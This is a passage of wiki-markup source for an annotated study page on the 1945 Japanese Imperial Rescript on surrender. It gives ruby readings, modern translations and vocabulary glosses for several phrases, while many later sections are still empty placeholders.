t;ちょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;赤&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せき&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;子&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;保&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ほ(っ)&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;ruby&gt;&lt;rb&gt;皇&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;祖&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;皇&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;宗&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;神&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;霊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;れい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;謝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゃ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せんや、&lt;ruby&gt;&lt;rb&gt;是&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;れ&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;帝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;政&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;府&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ふ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;をして&lt;ruby&gt;&lt;rb&gt;共&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;同&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;どう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;宣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;言&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;げん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;応&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ぜしむるに&lt;ruby&gt;&lt;rb&gt;至&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;いた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;れる&lt;ruby&gt;&lt;rb&gt;所以&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ゆえん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;なり。&lt;/p&gt;
&lt;/div&gt;
# [[#抑〻帝國臣民ノ康寧ヲ圖リ]]　（[[#抑〻]]　[[#康寧]]　）
# [[#萬邦&amp;#xE0102;共榮ノ樂ヲ偕ニスルハ]]　（[[#萬邦&amp;#xE0102;]]　[[#共榮]]　[[#樂ヲ偕ニスル]]　[[#偕樂]]）
# [[#皇祖&amp;#xFE00;皇宗ノ遺&amp;#xE0101;範ニシテ]]　（[[#皇祖&amp;#xFE00;皇宗]]　[[#遺&amp;#xE0101;範]]）
# [[#朕&amp;#xE0102;ノ拳&amp;#xE0101;々措カサル所&amp;#xE0101;]]　（[[#拳&amp;#xE0101;々]]　[[#措カサル]]）
# [[#曩ニ米英二國ニ宣戰セル所&amp;#xE0101;以モ亦]]　（[[#曩ニ]]）
# [[#實ニ帝國ノ自存ト東亞ノ安定トヲ庻&amp;#xE0100;幾󠄁&amp;#xE0101;スルニ出テ]]　（[[#自存]]　[[#庻󠄀幾󠄁󠄁]]）
# [[#他國ノ主權ヲ排シ領土ヲ侵󠄁スカ如キハ]]
# [[#固ヨリ朕&amp;#xE0102;カ志ニアラス]]
# [[#然ルニ交&amp;#xE0101;戰已ニ四歲ヲ閱シ]]
# [[#朕&amp;#xE0102;カ陸海&amp;#xE0100;將兵ノ勇&amp;#xE0101;戰]]
# [[#朕&amp;#xE0102;カ百僚有司ノ勵精&amp;#xE0100;]]
# [[#朕&amp;#xE0102;カ一億衆庻&amp;#xE0100;ノ奉公󠄁]]
# [[#各〻最善ヲ盡セルニ拘ラス]]
# [[#戰局必スシモ好轉セス]]
# [[#世界ノ大勢亦我ニ利アラス]]
# [[#加之敵ハ新ニ殘虐󠄁ナル爆彈ヲ使&amp;#xE0101;用シテ]]
# [[#頻&amp;#xE0100;ニ無辜ヲ殺&amp;#xE0100;傷シ]]
# [[#慘害&amp;#xE0102;ノ及&amp;#xE0101;フ所&amp;#xE0101;眞ニ測ルヘカラサルニ至ル]]
# [[#而モ尙交&amp;#xE0101;戰ヲ繼續セムカ]]
# [[#終&amp;#xE0101;ニ我カ民族ノ滅亡ヲ招來スルノミナラス]]
# [[#延&amp;#xE0102;テ人類&amp;#xE0100;ノ文&amp;#xE0101;明ヲモ破却スヘシ]]
# [[#斯ノ如クムハ]]
# [[#朕&amp;#xE0102;何ヲ以テカ億兆ノ赤子ヲ保シ]]
# [[#皇祖&amp;#xFE00;皇宗ノ神&amp;#xE0100;靈ニ謝セムヤ]]
# [[#是レ朕&amp;#xE0102;カ帝國政府ヲシテ共同宣言ニ應セシムルニ至レル所&amp;#xE0101;以ナリ]]

=== 抑〻帝國臣民ノ康寧ヲ圖リ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;{{ruby|抑|そも}}{{ruby|〻|そも}}、{{ruby|帝|てい}}{{ruby|国|こく}}{{ruby|臣|しん}}{{ruby|民|みん}}の{{ruby|康|こう}}{{ruby|寧|ねい}}を{{ruby|図|はか}}り、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：そもそも、帝国国民の平穏無事に尽力し、
&lt;/p&gt;
==== 抑〻 ====
*「抑〻」（そもそも）：接続詞の「そも」を二つ重ねた形。いったい（一体）、さて。&lt;ref&gt;[https://kotobank.jp/word/%E6%8A%91-555342#w-2032227 抑(ソモソモ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 康寧 ====
*「康寧」（こうねい）：やすらかなこと。平穏無事であること。安寧。&lt;ref&gt;[https://kotobank.jp/word/%E5%BA%B7%E5%AF%A7-497016#w-497016 康寧(コウネイ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
=== 萬邦&amp;#xE0102;共榮ノ樂ヲ偕ニスルハ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;{{ruby|万|ばん}}{{ruby|邦|ぽう}}{{ruby|共|きょう}}{{ruby|栄|えい}}の{{ruby|楽|たのしみ}}を{{ruby|偕|とも}}にするは、&lt;span style=&quot;font-size:12pt;color:#900;&quot;&gt;（※昭和16年の対米英宣戦の詔書にも出てくるフレーズ。）&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：世界のすべての国々と共に栄える歓びを分かち合うことは、
&lt;/p&gt;
==== 萬邦&amp;#xE0102; ====
*「萬邦&amp;#xE0102;（万邦、ばんぽう）」：多くの国。あらゆる国。すべての国。&lt;ref&gt;[https://kotobank.jp/word/%E4%B8%87%E9%82%A6-607323#w-607323 万邦(バンポウ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 共榮 ====
*「共榮（共栄）」：共に栄えること。&lt;ref&gt;[https://kotobank.jp/word/%E5%85%B1%E6%A0%84-477753#w-477753 共栄(キョウエイ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 樂ヲ偕ニスル ====
*「樂ヲ偕ニスル」（たのしみをともにする）：漢語の「[[#偕樂]]」と同じで、「多くの人々とともに楽しむこと。」
**「樂（楽）」（たのしみ）：心身が満たされて、快いこと。&lt;ref&gt;[https://kotobank.jp/word/%E6%A5%BD-43522#w-2040648 楽(ラク)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 偕樂 ====
*「偕樂（偕楽）」（かいらく）： 多くの人々とともに楽しむこと&lt;ref&gt;[https://kotobank.jp/word/%E5%81%95%E6%A5%BD-458657#w-458657 偕楽(カイラク)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;。『[[w:孟子 (書物)|孟子]]』の「梁恵王・上」にある「古之人與民偕樂故能樂也」（古の人は民と偕に楽しむ、故に能く楽しむなり）に由来し、水戸の[[w:偕楽園|偕楽園]]の名にも取り入れられている。
=== 皇祖&amp;#xFE00;皇宗ノ遺&amp;#xE0101;範ニシテ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;{{ruby|皇|こう}}{{ruby|祖|そ}}{{ruby|皇|こう}}{{ruby|宗|そう}}の{{ruby|遺|い}}{{ruby|範|はん}}にして、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：歴代天皇が遺されたお手本であり、
&lt;/p&gt;
====皇祖&amp;#xFE00;皇宗====
*「皇祖&amp;#xFE00;皇宗（皇祖皇宗）」：天皇の始祖と、当代天皇にいたるまでの歴代の天皇。&lt;ref&gt;[https://kotobank.jp/word/%E7%9A%87%E7%A5%96%E7%9A%87%E5%AE%97-496352#w-496352 皇祖皇宗(コウソコウソウ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
====遺&amp;#xE0101;範====
*「遺&amp;#xE0101;範（遺範）」：前人ののこした手本。&lt;ref&gt;[https://kotobank.jp/word/%E9%81%BA%E7%AF%84-2008336 遺範(いはん)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
=== 朕&amp;#xE0102;ノ拳&amp;#xE0101;々措カサル所&amp;#xE0101; ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;{{ruby|朕|ちん}}の{{ruby|拳|けん}}{{ruby|々|けん}}{{ruby|措|お}}かざる{{ruby|所|ところ}}。&lt;span style=&quot;font-size:12pt;color:#900;&quot;&gt;（※昭和16年の対米英宣戦の詔書にも出てくるフレーズ。）&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：わたくしが、常に肝に銘じて大事に守っていることである。&lt;/p&gt;
====拳&amp;#xE0101;々====
*「拳&amp;#xE0101;々」：両手で捧げ持ち、固く握って離さない様子。転じて、熱心に心に持ち続けること。&lt;ref&gt;[https://kotobank.jp/word/%E6%8B%B3%E6%8B%B3-491747 拳拳(ケンケン)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
*:『[[w:礼記|礼記]]』の「[[s:ja:禮記/中庸|中庸]]」に出て来る「拳拳服膺」（捧げ持つように心に銘記し、常に忘れないでいる）が有名&lt;ref&gt;[https://kotobank.jp/word/%E6%8B%B3%E6%8B%B3%E6%9C%8D%E8%86%BA-491781#w-491781 拳拳服膺(ケンケンフクヨウ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;。
====措カサル====
*「措カサル（措かざる）」：そのままにしておかない。
=== 曩ニ米英二國ニ宣戰セル所&amp;#xE0101;以モ亦 ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;{{ruby|曩|さき}}に{{ruby|米|べい}}{{ruby|英|えい}}{{ruby|二|に}}{{ruby|国|こく}}に{{ruby|宣|せん}}{{ruby|戦|せん}}せる{{ruby|所以|ゆえん}}も{{ruby|亦|また}}、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：先にアメリカ・イギリス二か国に宣戦布告した理由も同様に、&lt;/p&gt;
==== 曩ニ ====
*「曩に」：さきに。「先に」とも表記する。&lt;ref&gt;[https://kotobank.jp/word/%E5%85%88%E3%81%AB-509391#w-1976887 先に(サキニ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
=== 實ニ帝國ノ自存ト東亞ノ安定トヲ庻&amp;#xE0100;幾󠄁&amp;#xE0101;スルニ出テ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;{{ruby|実|じつ}}に{{ruby|帝|てい}}{{ruby|国|こく}}の{{ruby|自|じ}}{{ruby|存|そん}}と{{ruby|東|とう}}{{ruby|亜|あ}}の{{ruby|安|あん}}{{ruby|定|てい}}とを{{ruby|庶|しょ}}{{ruby|幾|き}}するに{{ruby|出|い}}で、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：まさに日本帝国の自立と生存および東アジア諸国の安定を心から願ってのことであり、&lt;/p&gt;
==== 自存 ====
*「自存」：他に頼らないで自分の力で生存すること。
*:&lt;span style=&quot;font-size:12pt;color:#900;&quot;&gt;（※昭和16年の対米英宣戦の詔書にも「帝国は今や自存自衛の為蹶然起って」というフレーズがある。）&lt;/span&gt;&lt;ref&gt;[https://kotobank.jp/word/%E8%87%AA%E5%AD%98-520220#goog_rewarded 自存(ジソン)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 庻󠄀幾󠄁󠄁 ====
*「庻󠄀幾󠄁󠄁（庶幾 しょき）」：心から願うこと。&lt;ref&gt;[https://kotobank.jp/word/%E5%BA%B6%E5%B9%BE-533981#w-533981 庶幾(ショキ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
=== 他國ノ主權ヲ排シ領土ヲ侵󠄁スカ如キハ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;{{ruby|他|た}}{{ruby|国|こく}}の{{ruby|主|しゅ}}{{ruby|権|けん}}を{{ruby|排|はい}}し{{ruby|領|りょう}}{{ruby|土|ど}}を{{ruby|侵|おか}}すが{{ruby|如|ごと}}きは、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 固ヨリ朕&amp;#xE0102;カ志ニアラス ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 然ルニ交&amp;#xE0101;戰已ニ四歲ヲ閱シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 朕&amp;#xE0102;カ陸海&amp;#xE0100;將兵ノ勇&amp;#xE0101;戰 ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 朕&amp;#xE0102;カ百僚有司ノ勵精&amp;#xE0100; ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 朕&amp;#xE0102;カ一億衆庻&amp;#xE0100;ノ奉公󠄁 ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 各〻最善ヲ盡セルニ拘ラス ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 戰局必スシモ好轉セス ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 世界ノ大勢亦我ニ利アラス ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 加之敵ハ新ニ殘虐󠄁ナル爆彈ヲ使&amp;#xE0101;用シテ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 頻&amp;#xE0100;ニ無辜ヲ殺&amp;#xE0100;傷シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 慘害&amp;#xE0102;ノ及&amp;#xE0101;フ所&amp;#xE0101;眞ニ測ルヘカラサルニ至ル ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 而モ尙交&amp;#xE0101;戰ヲ繼續セムカ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 終&amp;#xE0101;ニ我カ民族ノ滅亡ヲ招來スルノミナラス ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 延&amp;#xE0102;テ人類&amp;#xE0100;ノ文&amp;#xE0101;明ヲモ破却スヘシ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 斯ノ如クムハ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 朕&amp;#xE0102;何ヲ以テカ億兆ノ赤子ヲ保シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 皇祖&amp;#xFE00;皇宗ノ神&amp;#xE0100;靈ニ謝セムヤ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 是レ朕&amp;#xE0102;カ帝國政府ヲシテ共同宣言ニ應セシムルニ至レル所&amp;#xE0101;以ナリ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;


&lt;!--
&lt;ruby&gt;&lt;rb&gt;●漢字●&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;●ルビ●&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;
--&gt;
&lt;span style=&quot;color:#500;&quot;&gt;
&lt;/span&gt;
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;p style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;

== 第四段落 ==
&lt;!--◆第四段落--&gt;&lt;div style=&quot;background-color:#ffd;&quot;&gt;
&lt;p style=&quot;line-height:1.3; margin-bottom: 15px; text-align:left; font-family:游明朝;font-size:13pt;&quot;&gt;（原文）&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;ハ帝國ト共ニ&lt;span style=&quot;color:#500;&quot;&gt;終&amp;#xE0101;&lt;/span&gt;始東亞ノ解放ニ協力セル&lt;span style=&quot;color:#500;&quot;&gt;諸&amp;#xE0100;&lt;/span&gt;盟&lt;span style=&quot;color:#500;&quot;&gt;邦&amp;#xE0102;&lt;/span&gt;ニ對シ&lt;span style=&quot;color:#500;&quot;&gt;遺&amp;#xE0101;&lt;/span&gt;憾ノ意ヲ表セサルヲ得ス帝國臣民ニシテ戰陣ニ死シ職域ニ殉シ非命ニ斃レタル&lt;span style=&quot;color:#500;&quot;&gt;者&amp;#xE0101;&lt;/span&gt;&lt;span style=&quot;color:#500;&quot;&gt;及&amp;#xE0101;&lt;/span&gt;其ノ&lt;span style=&quot;color:#500;&quot;&gt;遺&amp;#xE0101;&lt;/span&gt;族ニ想ヲ致セハ五內爲ニ裂ク且戰傷ヲ&lt;span style=&quot;color:#500;&quot;&gt;負&amp;#xE0102;&lt;/span&gt;ヒ災&lt;span style=&quot;color:#500;&quot;&gt;禍&amp;#xE0100;&lt;/span&gt;ヲ蒙リ家業ヲ失ヒタル&lt;span style=&quot;color:#500;&quot;&gt;者&amp;#xE0101;&lt;/span&gt;ノ厚生ニ至リテハ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;ノ深ク軫念スル&lt;span style=&quot;color:#500;&quot;&gt;所&amp;#xE0101;&lt;/span&gt;ナリ惟フニ今後帝國ノ受クヘキ苦&lt;span style=&quot;color:#500;&quot;&gt;難&amp;#xE0100;&lt;/span&gt;ハ固ヨリ&lt;span style=&quot;color:#500;&quot;&gt;尋&amp;#xE0101;&lt;/span&gt;常ニアラス爾臣民ノ衷&lt;span style=&quot;color:#500;&quot;&gt;情&amp;#xE0101;&lt;/span&gt;モ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;善ク之ヲ知ル然レトモ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;ハ時&lt;span style=&quot;color:#500;&quot;&gt;運&amp;#xE0101;&lt;/span&gt;ノ趨ク&lt;span style=&quot;color:#500;&quot;&gt;所&amp;#xE0101;&lt;/span&gt;堪ヘ&lt;span style=&quot;color:#500;&quot;&gt;難&amp;#xE0100;&lt;/span&gt;キヲ堪ヘ&lt;span style=&quot;color:#500;&quot;&gt;忍&amp;#xE0101;&lt;/span&gt;ヒ&lt;span style=&quot;color:#500;&quot;&gt;難&amp;#xE0100;&lt;/span&gt;キヲ&lt;span style=&quot;color:#500;&quot;&gt;忍&amp;#xE0101;&lt;/span&gt;ヒ以テ萬世ノ爲ニ太&lt;span style=&quot;color:#500;&quot;&gt;平&amp;#xE0101;&lt;/span&gt;ヲ開カムト欲ス&lt;/p&gt;
&lt;p style=&quot;background-color:#ffe; line-height:1.5; font-family:游明朝;font-size:13pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は&lt;ruby&gt;&lt;rb&gt;帝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;共&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;とも&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に、&lt;ruby&gt;&lt;rb&gt;終&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;始&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;東&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;とう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;亜&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;あ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;解&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;放&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ほう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;協&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;力&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;りょく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せる&lt;ruby&gt;&lt;rb&gt;諸&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;盟&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;めい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;邦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ほう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;対&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;ruby&gt;&lt;rb&gt;遺&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;い&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/